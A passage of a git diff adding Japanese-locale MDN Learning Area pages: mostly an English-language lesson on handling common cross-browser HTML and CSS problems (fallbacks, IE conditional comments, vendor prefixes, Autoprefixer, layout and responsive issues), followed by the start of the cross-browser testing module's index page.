token">"</span>time<span class="punctuation token">"</span></span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>time<span class="punctuation token">"</span></span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"></</span>div</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"></</span>form</span><span class="punctuation token">></span></span></code></pre> + +<div class="hidden"> </div> + +<p>{{ EmbedLiveSample('Hidden_example', '100%', 150) }}</p> + +<div class="note"> +<p><strong>Note</strong>: You can also see this running live as <a href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/html-css/forms-test.html">forms-test.html</a> on GitHub (see the <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/html-css/forms-test.html">source code</a> also).</p> +</div> + +<p>If you view the example on a supporting browser like desktop/Android Chrome or iOS Safari, you'll see the special widgets/features in action as you try to input data. On a non-supporting platform such as Firefox or Internet Explorer, the inputs will just fallback to normal text inputs, so at least the user can still enter some information.</p> + +<p>Note: Of course, this may not be a great solution for your project's needs — the difference in visual presentation is not great, plus it is harder to guarantee the data will be entered in the format you want it in. For cross browser forms, It is probably better to rely on simple form elements, or selectively using advanced form elements only in supporting browsers, or using a library that provides decent cross browser form widgets, such as <a href="http://jqueryui.com/">jQuery UI</a> or <a href="https://bootstrap-datepicker.readthedocs.io/en/latest/">Bootstrap datepicker</a>.</p> + +<h4 id="CSS_fallback_behaviour">CSS fallback behaviour</h4> + +<p>CSS is arguably better at fallbacks than HTML. If a browser encounters a declaration or rule it doesn't understand, it just skips it completely without applying it or throwing an error. This might be frustrating for you and your users if such a mistake slips through to production code, but at least it means the whole site doesn't come crashing down because of one error, and if used cleverly you can use it to your advantage.</p> + +<p>Let's look at an example — a simple box styled with CSS, which has some styling provided by various CSS3 features:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14141/blingy-button.png" style="display: block; margin: 0 auto;"></p> + +<div class="note"> +<p><strong>Note</strong>: You can also see this example running live on GitHub as <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/html-css/button-with-fallback.html">button-with-fallback.html</a> (also see the <a href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/html-css/button-with-fallback.html">source code</a>).</p> +</div> + +<p>The button has a number of declarations that style, but the two we are most interested in are as follows:</p> + +<pre class="brush: css line-numbers language-css"><code class="language-css"><span class="selector token">button</span> <span class="punctuation token">{</span> + <span class="number token">...</span> + + <span class="property token">background-color</span><span class="punctuation token">:</span> <span class="hexcode token">#ff0000</span><span class="punctuation token">;</span> + <span class="property token">background-color</span><span class="punctuation token">:</span> <span class="function token">rgba</span><span class="punctuation token">(</span><span class="number token">255</span><span class="punctuation token">,</span><span class="number token">0</span><span class="punctuation token">,</span><span class="number token">0</span><span class="punctuation token">,</span><span class="number token">1</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="property token">box-shadow</span><span class="punctuation token">:</span> inset <span class="number token">1</span><span class="token unit">px</span> <span class="number token">1</span><span class="token unit">px</span> <span class="number token">3</span><span class="token unit">px</span> <span class="function token">rgba</span><span class="punctuation token">(</span><span class="number token">255</span><span class="punctuation token">,</span><span class="number token">255</span><span class="punctuation token">,</span><span class="number token">255</span><span class="punctuation token">,</span><span class="number token">0.4</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + inset <span class="number token">-1</span><span class="token unit">px</span> <span class="number token">-1</span><span class="token unit">px</span> <span class="number token">3</span><span class="token unit">px</span> <span class="function token">rgba</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">,</span><span class="number token">0</span><span class="punctuation token">,</span><span class="number token">0</span><span class="punctuation token">,</span><span class="number token">0.4</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span> + +<span class="selector token">button<span class="pseudo-class token">:hover</span></span> <span class="punctuation token">{</span> + <span class="property token">background-color</span><span class="punctuation token">:</span> <span class="function token">rgba</span><span class="punctuation token">(</span><span class="number token">255</span><span class="punctuation token">,</span><span class="number token">0</span><span class="punctuation token">,</span><span class="number token">0</span><span class="punctuation token">,</span><span class="number token">0.5</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span> + +<span class="selector token">button<span class="pseudo-class token">:active</span></span> <span class="punctuation token">{</span> + <span class="property token">box-shadow</span><span class="punctuation token">:</span> inset <span class="number token">1</span><span class="token unit">px</span> <span class="number token">1</span><span class="token unit">px</span> <span class="number token">3</span><span class="token unit">px</span> <span class="function token">rgba</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">,</span><span class="number token">0</span><span class="punctuation token">,</span><span class="number token">0</span><span class="punctuation token">,</span><span class="number token">0.4</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + inset <span class="number token">-1</span><span class="token unit">px</span> <span class="number token">-1</span><span class="token unit">px</span> <span class="number token">3</span><span class="token unit">px</span> <span class="function token">rgba</span><span class="punctuation token">(</span><span class="number token">255</span><span class="punctuation token">,</span><span class="number token">255</span><span class="punctuation token">,</span><span class="number token">255</span><span class="punctuation token">,</span><span class="number token">0.4</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span></code></pre> + +<p>Here we are providing an <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/color_value#rgba()">RGBA</a> {{cssxref("background-color")}} that changes opacity on hover to give the user a hint that the button is interactive, and some semi-transparent inset {{cssxref("box-shadow")}} shades to give the button a bit of texture and depth. The trouble is that RGBA colors and box shadows don't work in IE versions older than 9 — in older versions the background just wouldn't show up at all so the text would be unreadable, no good at all!</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14135/unreadable-button.png" style="display: block; margin: 0 auto;"></p> + +<p>To sort this out, we have added a second <code>background-color</code> declaration, which just specifies a hex color — this is supported way back in really old browsers, and acts as a fallback if the modern shiny features don't work. What happens is a browser visiting this page first applies the first <code>background-color</code> value; when it gets to the second <code>background-color</code> declaration, it will override the initial value with this value if it supports RGBA colors. If not, it will just ignore the entire declaration and move on.</p> + +<div class="note"> +<p><strong>Note</strong>: The same is true for other CSS features like <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Media_Queries/Using_media_queries">media queries</a>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/@font-face">@font-face</a></code> and <code><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/@supports">@supports</a></code> blocks — if they are not supported, the browser just ignores them.</p> +</div> + +<h4 id="IE_conditional_comments">IE conditional comments</h4> + +<p>IE conditional comments are a modified proprietary HTML comment syntax, which can be used to selectively apply HTML code to different versions of IE. This has proven to be a very effective mechanism for fixing cross browser bugs. The syntax looks like this:</p> + +<pre class="brush: html line-numbers language-html"><code class="language-html"><span class="comment token"><!--[if lte IE 8]> + <script src="ie-fix.js"></script> + <link href="ie-fix.css" rel="stylesheet" type="text/css"> +<![endif]--></span></code></pre> + +<p>This block will apply the IE-specific CSS and JavaScript only if the browser viewing the page is IE 8 or older. <code>lte</code> means "less than or equal to", but you can also use lt, gt, gte, <code>!</code> for NOT, and other logical syntax.</p> + +<div class="note"> +<p><strong>Note</strong>: Sitepoint's <span class="l-d-i l-pa2 t-bg-white"><a href="https://www.sitepoint.com/web-foundations/internet-explorer-conditional-comments/">Internet Explorer Conditional Comments</a> provides a useful beginner's tutorial/reference that explains the conditional comment syntax in detail.</span></p> +</div> + +<p>As you can see, this is especially useful for applying code fixes to old versions of IE. The use case we mentioned earlier (making modern semantic elements styleable in old versions of IE) can be achieved easily using conditional comments, for example you could put something like this in your IE stylesheet:</p> + +<pre class="brush: css line-numbers language-css"><code class="language-css"><span class="selector token">aside, main, article, section, nav, figure, figcaption</span> <span class="punctuation token">{</span> + <span class="property token">display</span><span class="punctuation token">:</span> block<span class="punctuation token">;</span> +<span class="punctuation token">}</span></code></pre> + +<p>It isn't that simple, however — you also need to create a copy of each element you want to style in the DOM via JavaScript, for them to be styleable; this is a strange quirk, and we won't bore you with the details here. For example:</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> asideElem <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">'aside'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="operator token">...</span></code></pre> + +<p>This sounds like a pain to deal with, but fortunately there is a {{glossary("polyfill")}} available that does the necessary fixes for you, and more besides — see <a href="https://github.com/aFarkas/html5shiv">HTML5Shiv</a> for all the details (see <a href="https://github.com/aFarkas/html5shiv#installation">manual installation</a> for the simplest usage).</p> + +<h4 id="Selector_support">Selector support</h4> + +<p>Of course, no CSS features will apply at all if you don't use the right <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Introduction_to_CSS/Selectors">selectors</a> to select the element you want to style! If you just write a selector incorrectly so the styling isn't as expected in any browser, you'll just need to troubleshoot and work out what is wrong with your selector. We find that it is helpful to inspect the element you are trying to style using your browser's dev tools, then look at the DOM tree breadcrumb trail that DOM inspectors tend to provide to see if your selector makes sense compared to it.</p> + +<p>For example, in the Firefox dev tools, you get this kind of output at the bottom of the DOM inspector:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14139/dom-breadcrumb-trail.png" style="display: block; height: 24px; margin: 0px auto; width: 448px;"></p> + +<p>If for example you were trying to use this selector, you'd be able to see that it wouldn't select the input element as desired:</p> + +<pre class="brush: css line-numbers language-css"><code class="language-css">form > #date</code></pre> + +<p>(The <code>date</code> form input isn't directly inside the <code><form></code>; you'd be better off using a general descendant selector instead of a child selector).</p> + +<p>However, another issue that appears in versions of IE older than 9 is that none of the newer selectors (mainly pseudo-classes and pseudo-elements like <code><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/:nth-of-type">:nth-of-type</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/:not">:not</a></code>, <code><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/::selection">::selection</a></code>, etc.) work. If you want to use these in your CSS and you need to support older IE versions, a good move is to use Keith Clark's <a href="http://selectivizr.com/">Selectivizr</a> library — this is a small JavaScript library that works on top of an existing JavaScript library like <a href="http://jquery.com/">jQuery</a> or <a href="http://mootools.net/">MooTools</a>.</p> + +<ol> + <li>To try this example, make a local copy of <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/html-css/selectivizr-example-start.html">selectivizr-example-start.html</a>. If you look at this running live, you'll see that it contains two paragraphs, one of which is styled. We've selected the paragraph with <code>p:first-child</code>, which won't work in old versions of IE.</li> + <li>Now download <a href="http://mootools.net/">MooTools</a> and <a href="http://selectivizr.com/">Selectivizr</a>, and save them in the same directory as your sample HTML.</li> + <li>Put the following code into the head of your HTML document, just before the opening <code><style></code> tag: + <pre class="brush: html line-numbers language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token"><</span>script</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text/javascript<span class="punctuation token">"</span></span> <span class="attr-name token">src</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>MooTools-Core-1.6.0.js<span class="punctuation token">"</span></span><span class="punctuation token">></span></span><span class="tag token"><span class="tag token"><span class="punctuation token"></</span>script</span><span class="punctuation token">></span></span> + <span class="comment token"><!--[if (gte IE 6)&(lte IE 8)]> + <script type="text/javascript" src="selectivizr-min.js"></script> + <![endif]--></span></code></pre> + </li> +</ol> + +<ol> + <li> </li> +</ol> + +<p>If you try running this in an old version of IE, it should work fine.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14137/new-selector-ie7.png" style="border-style: solid; border-width: 1px; display: block; height: 516px; margin: 0px auto; width: 771px;"></p> + +<h4 id="Handling_CSS_prefixes">Handling CSS prefixes</h4> + +<p>Another set of problems comes with CSS prefixes — these are a mechanism orignally used to allow browser vendors to implement their own version of a CSS (or JavaScript) feature while the technology is in an experimental state, so they can play with it and get it right without conflicting with other browser's implementations, or the final unprefixed implementations. So for example:</p> + +<ul> + <li>Mozilla uses <code>-moz-</code></li> + <li>Chrome/Opera/Safari use <code>-webkit-</code></li> + <li>Microsoft uses <code>-ms-</code></li> +</ul> + +<p>Here's some examples:</p> + +<pre class="brush: css line-numbers language-css"><code class="language-css"><span class="property token">-webkit-transform</span><span class="punctuation token">:</span> <span class="function token">rotate</span><span class="punctuation token">(</span><span class="number token">90</span><span class="token unit">deg</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + +<span class="property token">background-image</span><span class="punctuation token">:</span> <span class="function token">-moz-linear-gradient</span><span class="punctuation token">(</span>left<span class="punctuation token">,</span>green<span class="punctuation token">,</span>yellow<span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="property token">background-image</span><span class="punctuation token">:</span> <span class="function token">-webkit-gradient</span><span class="punctuation token">(</span>linear<span class="punctuation token">,</span>left center<span class="punctuation token">,</span>right center<span class="punctuation token">,</span><span class="function token">from</span><span class="punctuation token">(</span>green<span class="punctuation token">)</span><span class="punctuation token">,</span><span class="function token">to</span><span class="punctuation token">(</span>yellow<span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="property token">background-image</span><span class="punctuation token">:</span> <span class="function token">linear-gradient</span><span class="punctuation token">(</span>to right<span class="punctuation token">,</span>green<span class="punctuation token">,</span>yellow<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<p>The first line shows a {{cssxref("transform")}} property with a <code>-webkit-</code> prefix — this was needed to make transforms work in Chrome, etc. until the feature was finalized and such browsers added a prefix-free version of the property (at the time of writing, Chrome supported both versions).</p> + +<p>The last three lines show three different versions of the <code><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/linear-gradient">linear-gradient()</a></code> function, which is used to generate a linear gradient in the background of an element:</p> + +<ol> + <li>The first one has a <code>-moz-</code> prefix, and shows a slightly older version of the syntax (Firefox)</li> + <li>The second one has a <code>-webkit-</code> prefix, and shows an even older, proprietary version of the syntax (this is actually from a really old version of the WebKit engine).</li> + <li>The third one has no prefix, and shows the final version of the syntax (included in the <a href="https://drafts.csswg.org/css-images-3/#linear-gradients">CSS Image Values and Replaced Content Module Level 3 spec</a>, which defines this feature).</li> +</ol> + +<p>Prefixed features were never supposed to be used in production websites — they are subject to change or removal without warning, and cause cross browser issues. This is particularly a problem when developers decide to only use say, the <code>-webkit- </code>version of a property — meaning that the site won't work in other browsers. This actually happens so much that other browsers have started to implement <code>-webkit-</code> prefixed versions of various CSS properties, so they will work with such code. Usage of prefixes by browser vendors has declined recently precisely because of these types of problems, but there are still some that need attention.</p> + +<p>If you insist on using prefixed features, make sure you use the right ones. You can look up what browsers require prefixes on MDN reference pages, and sites like <a href="http://caniuse.com/">caniuse.com</a>. If you are unsure, you can also find out by doing some testing directly in browsers.</p> + +<p>Try this simple example:</p> + +<ol> + <li>Open up google.com, or another site that has a prominent heading or other block level element.</li> + <li>Right/Cmd + click on the element in question and choose Inspect/Inspect element (or whatever the option is in your browser) — this should open up the dev tools in your browser, with the element highlighted in the DOM inspector.</li> + <li>Look for a feature you can use to select that element. For example, at the time of writing, the main Google logo had an ID of <code>hplogo</code>.</li> + <li>Store a reference to this element in a variable, for example: + <pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> test <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'hplogo'</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + </li> +</ol> + +<ul> + <li> </li> + <li>Now try to set a new value for the CSS property you are interested in on that element; you can do this using the <a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/style">style</a> property of the element, for example try typing these into the JavaScript console: + <pre class="brush: js line-numbers language-js"><code class="language-js">test<span class="punctuation token">.</span>style<span class="punctuation token">.</span>transform <span class="operator token">=</span> <span class="string token">'rotate(90deg)'</span> +test<span class="punctuation token">.</span>style<span class="punctuation token">.</span>webkitTransform <span class="operator token">=</span> <span class="string token">'rotate(90deg)'</span></code></pre> + </li> +</ul> + +<ol> + <li> </li> +</ol> + +<p>As you start to type the property name representation after the second dot (note that in JavaScript, CSS property names are written in lower camel case, not hyphenated), the JavaScript console should begin to autocomplete the names of the properties that exist in the browser and match what you've written so far. This is useful for finding out what versions of the property are implemented in that browser.</p> + +<p>At the time of writing, both Firefox and Chrome implemented <code>-webkit-</code> prefixed and non-prefixed versions of {{cssxref("transform")}}!</p> + +<p>Once you've found out which prefixes you need to support, you should write them all out in your CSS, for example:</p> + +<pre class="brush: css line-numbers language-css"><code class="language-css"><span class="property token">-ms-transform</span><span class="punctuation token">:</span> <span class="function token">rotate</span><span class="punctuation token">(</span><span class="number token">90</span><span class="token unit">deg</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="property token">-webkit-transform</span><span class="punctuation token">:</span> <span class="function token">rotate</span><span class="punctuation token">(</span><span class="number token">90</span><span class="token unit">deg</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="property token">transform</span><span class="punctuation token">:</span> <span class="function token">rotate</span><span class="punctuation token">(</span><span class="number token">90</span><span class="token unit">deg</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<p>This ensures that all browsers that support any of the above forms of the property can make the feature work. It is worth putting the non-prefixed version last, because that will be the most up-to-date version, which you'll want browsers to use if possible. If for example a browser implements both the <code>-webkit-</code> version and the non-prefixed version, it will first apply the <code>-webkit-</code> version, then override it with the non-prefixed version. You want it to happen this way round, not the other way round.</p> + +<p>Of course, doing this for lots of different CSS rules can get really tedious. It is better to use an automation tool to do it for you. And such tools exist:</p> + +<p>The <a href="http://leaverou.github.io/prefixfree/">prefix-free JavaScript library</a> can be attached to a page, and will automatically detect what capabilities are possessed by browsers viewing the page and add prefixes as appropriate. It is really easy and convenient to use, although it does have some downsides (see the link above for details), and it is arguable that parsing every stylesheet in your site and add prefixes at run time can be a drain on the computer's processing power for a large site.</p> + +<p>Another solution is to add prefixes automatically during development, and this (and other things besides) can be done using tools like <a href="https://github.com/postcss/autoprefixer">Autoprefixer</a> and <a href="http://postcss.org/">PostCSS</a>. These tools can be used in a variety of ways, for example Autoprefixer has an <a href="http://autoprefixer.github.io/">online version</a> that allows you to enter your non-prefixed CSS on the left, and gives you a prefix-added version on the right. You can choose which browsers you want to make sure you support using the notation outlined in <a href="https://github.com/postcss/autoprefixer#options">Autoprefixer options</a>; also see <a href="https://github.com/ai/browserslist#queries">Browserslist queries</a>, which this is based on, for more detail. As an example, the following query will select the last 2 versions of all major browsers and versions of IE above 9.</p> + +<pre class="line-numbers language-html"><code class="language-html">last 2 versions, ie > 9</code></pre> + +<p>Autoprefixer can also be used in other, more convenient ways — see <a href="https://github.com/postcss/autoprefixer#usage">Autoprefixer usage</a>. For example you can use it with a task runner/build tool such as <a href="http://gulpjs.com/">Gulp</a> or <a href="https://webpack.github.io/">Webpack</a> to automatically add prefixes once development has been done. (Explaining how these work is somewhat beyond the scope of this article.)</p> + +<p>You can also use a plugin for a text editor such as Atom or Sublime text. For example, in Atom:</p> + +<ol> + <li>You can install it by going to <em>Preferences > Install</em>, searching for <em>Autoprefixer</em>, then hitting install.</li> + <li>You can set a browser query by pressing the Autoprefixer <em>Settings</em> button and entering the query in the text field in the <em>Settings</em> section on the page.</li> + <li>In your code, you can select sections of CSS you want to add prefixes to, open the command pallette (<em>Cmd/Ctrl + Shift + P</em>), then type in Autoprefixer and select the Autoprefixer result that autocompletes.</li> +</ol> + +<p>As an example, we entered the following code:</p> + +<pre class="brush: css line-numbers language-css"><code class="language-css"><span class="selector token">body</span> <span class="punctuation token">{</span> + <span class="property token">display</span><span class="punctuation token">:</span> flex<span class="punctuation token">;</span> +<span class="punctuation token">}</span></code></pre> + +<p>We highlighted it and ran the Autoprefixer command, and it replaced it with this:</p> + +<pre class="brush: css line-numbers language-css"><code class="language-css"><span class="selector token">body</span> <span class="punctuation token">{</span> + <span class="property token">display</span><span class="punctuation token">:</span> -webkit-box<span class="punctuation token">;</span> + <span class="property token">display</span><span class="punctuation token">:</span> -ms-flexbox<span class="punctuation token">;</span> + <span class="property token">display</span><span class="punctuation token">:</span> flex<span class="punctuation token">;</span> +<span class="punctuation token">}</span></code></pre> + +<h3 id="Layout_issues">Layout issues</h3> + +<p>Another problem that might come up is differences in layouts between browsers. Historically this used to be much more of a problem, but recently, with modern browsers tending to support CSS more consistently, layout issues tend to be more commonly associated with:</p> + +<ul> + <li>Lack of (or differences in) support for modern layout features.</li> + <li>Layouts not looking good in mobile browsers (i.e. responsive design problems).</li> +</ul> + +<div class="note"> +<p><strong>Note</strong>: Historically web developers used to use CSS files called resets, which removed all the default browser styling applied to HTML, and then applied their own styles for everything over the top — this was done to make styling on a project more consistent, and reduce possible cross browser issues, especially for things like layout. However, it has more recently been seen as overkill. The best equivalent we have in modern times is <a href="https://necolas.github.io/normalize.css/">normalize.css</a>, a neat bit of CSS that builds slightly on the default browser styling to make things more consistent and fix some layout issues. You are advised to apply normalize.css to all your HTML pages.</p> +</div> + +<div class="note"> +<p><strong>Note</strong>: When trying to track down a tricky layout issue, a good technique is to add a brightly colored {{cssxref("outline")}} to the offending element, or all the elements nearby. This makes it a lot easier to see where everything is placed. See <a href="http://www.otsukare.info/2016/10/05/debugging-css" rel="bookmark" title="Permalink to Debug your CSS with outline visualizations.">Debug your CSS with outline visualizations</a> for more details.</p> +</div> + +<h4 id="Support_for_new_layout_features">Support for new layout features</h4> + +<p>Much of the layout work on the web today is done using <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Floats">floats</a> — this is because floats are well-supported (way back to IE4, albeit with a number of bugs that would also need to be investigated if you were to try to support IE that far back). However, they are not really meant for layout purposes — using floats the way we do is really a hack — and they do have some serious limitations (e.g. see <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Flexbox#Why_Flexbox">Why Flexbox?</a>)</p> + +<p>More recently, dedicated layout mechanisms have appeared, like <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a> and <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Grids#Native_CSS_Grids_with_Grid_Layout">CSS Grids</a>, which make common layout tasks far easier and remove such shortcomings. These however are not as well-supported in browsers:</p> + +<ul> + <li>CSS grids are very new; at the time of writing, they were only <a href="http://gridbyexample.com/browsers/">supported</a> in the very newest versions of modern browsers.</li> + <li>Flexbox is <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Flexbox#Cross_browser_compatibility">well-supported</a> in modern browsers, but provides problems in older browsers. IE 9 doesn't support it at all, and IE 10 and old versions of iOS/desktop Safari respectively support incompatible old versions of the flexbox spec. This results in some interesting browser prefix juggling if you want to try to use flexbox across all these browsers (see <a href="https://dev.opera.com/articles/advanced-cross-browser-flexbox/">Advanced Cross-Browser Flexbox</a> to get an idea).</li> +</ul> + +<p>Layout features aren't as easy to provide graceful fallbacks for than simple colors, shadows, or gradients. If layout properties are ignored, your entire design will likely fall to pieces. Because of this, you need to use feature detection to detect whether visiting browsers support those layout features, and selectively apply different layouts depending on the result (we will cover feature detection in detail in a later article).</p> + +<p>For example, you could apply a flexbox layout to modern browsers, then instead apply a floated layout to older browsers that don't support flexbox.</p> + +<div class="note"> +<p><strong>Note</strong>: There is a fairly new feature in CSS called <code><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/@supports">@supports</a></code>, which allows you to implement native feature detection tests.</p> +</div> + +<h4 id="Responsive_design_problems">Responsive design problems</h4> + +<p>Responsive design is the practice of creating web layouts that change to suit different device form factors — for example different screen widths, orientations (portrait or landscape), or resolutions. A desktop layout for example will look terrible when viewed on a mobile device, so you need to provide a suitable mobile layout using <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Media_Queries">media queries</a>, and make sure it is applied correctly using <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Mobile/Viewport_meta_tag">viewport</a>. You can find a detailed account of such practices in <a href="https://developer.mozilla.org/en-US/docs/Web/Apps/Progressive/Responsive/responsive_design_building_blocks">The building blocks of responsive design</a>.</p> + +<p>Resolution is a big issue too — for example, mobile devices are less likely to need big heavy images than desktop computers, and are more likely to have slower internet connections and possibly even expensive data plans that make wasted bandwidth more of a problem. In addition, different devices can have a range of different resolutions, meaning that smaller images could appear pixellated. There are a number of techniques that allow you to work around such problems, from simple <a href="https://developer.mozilla.org/en-US/Apps/Progressive/Responsive/Mobile_first">mobile first media queries</a>, to more complex <a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images#Resolution_switching_Different_sizes">responsive image techniques</a>.</p> + +<p>Another difficulty that can present problems is browser support for the features that make the above techniques possible. media queries are not supported in IE 8 or less, so if you want to use a mobile first layout and have the desktop layout then apply to old IE versions, you'll have to apply a media query {{glossary("polyfill")}} to your page, like <a href="https://code.google.com/archive/p/css3-mediaqueries-js/">css3-mediaqueries-js</a>, or <a href="https://github.com/scottjehl/Respond">Respond.js</a>.</p> + +<h2 id="Finding_help">Finding help</h2> + +<p>There are many other issues you'll encounter with HTML and CSS; the most important thing to know really is how to find answers online.</p> + +<p>Among the best sources of support information are the Mozilla Developer Network (that's where you are now!), <a href="http://stackoverflow.com/">stackoverflow.com</a>, and <a href="http://caniuse.com/">caniuse.com</a>.</p> + +<p>To use the Mozilla Developer Network (MDN), most people do a search engine search of the technology they are trying to find information on, plus the term "mdn", for example "mdn HTML5 video". MDN contains several useful types of content:</p> + +<ul> + <li>Reference material with browser support information for client-side web technologies, e.g. the <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/video"><video> reference page</a>.</li> + <li>Other supporting reference material, e.g. <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Supported_media_formats">Media formats supported by the HTML audio and video elements</a>.</li> + <li>Useful tutorials that solve specific problems, for example <a href="https://developer.mozilla.org/en-US/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/cross_browser_video_player">Creating a cross-browser video player</a>.</li> +</ul> + +<p><a href="http://caniuse.com/">caniuse.com</a> provides support information, along with a few useful external resource links. For example, see <a href="http://caniuse.com/#search=video">http://caniuse.com/#search=video</a> (you just have to enter the feature you are searching for into the text box).</p> + +<p><a href="http://stackoverflow.com/">stackoverflow.com</a> (SO) is a forum site where you can ask questions and have fellow developers share their solutions, look up previous posts, and help other developers. You are advised to look and see if there is an answer to your question already, before posting a new question. For example, we searched for "cross browser html5 video" on SO, and very quickly came up with <a class="question-hyperlink" href="http://stackoverflow.com/questions/16212510/html5-video-with-full-cross-browser-compatibility">HTML5 Video with full cross browser compatibility</a>.</p> + +<p>Aside from that, try searching your favourite search engine for an answer to your problem. It is often useful to search for specific error messages if you have them — other developers will be likely to have had the same problems as you.</p> + +<h2 id="まとめ">まとめ</h2> + +<p>Now you should be familiar with the main types of cross browser HTML and CSS problems that you'll meet in web development, and how to go about fixing them.</p> + +<p>{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies","Learn/Tools_and_testing/Cross_browser_testing/JavaScript", "Learn/Tools_and_testing/Cross_browser_testing")}}</p> + +<h2 id="このモジュール">このモジュール</h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">Introduction to cross browser testing</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies">Strategies for carrying out testing</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS">Handling common HTML and CSS problems</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript">Handling common JavaScript problems</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility">Handling common accessibility problems</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection">Implementing feature detection</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing">Introduction to automated testing</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">Setting up your own test automation environment</a></li> +</ul> diff --git a/files/ja/learn/tools_and_testing/cross_browser_testing/index.html b/files/ja/learn/tools_and_testing/cross_browser_testing/index.html new file mode 100644 index 0000000000..d3a0da5fa8 --- /dev/null +++ b/files/ja/learn/tools_and_testing/cross_browser_testing/index.html @@ -0,0 +1,47 @@ +--- +title: クロスブラウザテスト +slug: Learn/Tools_and_testing/Cross_browser_testing +tags: + - Accessibility + - Automation + - Beginner + - CSS + - CodingScripting + - HTML + - JavaScript + - Landing + - Learn + - Module + - Testing + - Tools + - cross browser +translation_of: Learn/Tools_and_testing/Cross_browser_testing +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">このモジュールでは、色々なウェブブラウザー間でウェブプロジェクトをテストすることに焦点を当てます。あなたのターゲット視聴者 (例 どのユーザー、ブラウザー、デバイスに一番関心があるのか?) の特定や、テストをどう動かすかや、主な問題としてさまざまな種類のコードと対面してそれらを緩和する方法や、テストを楽にして問題を解決するのに最も役立つツールが何かや、自動化を利用してテストをスピードアップする方法を見て行きます。</p> + +<h2 id="前提条件">前提条件</h2> + +<p>ここで述べるツールを使ってみる前に、基本的な <a href="/ja/docs/Learn/HTML">HTML</a>、<a href="/ja/docs/Learn/CSS">CSS</a>、 <a href="/ja/docs/Learn/JavaScript">JavaScript</a> 言語をよく理解しておきます。</p> + +<h2 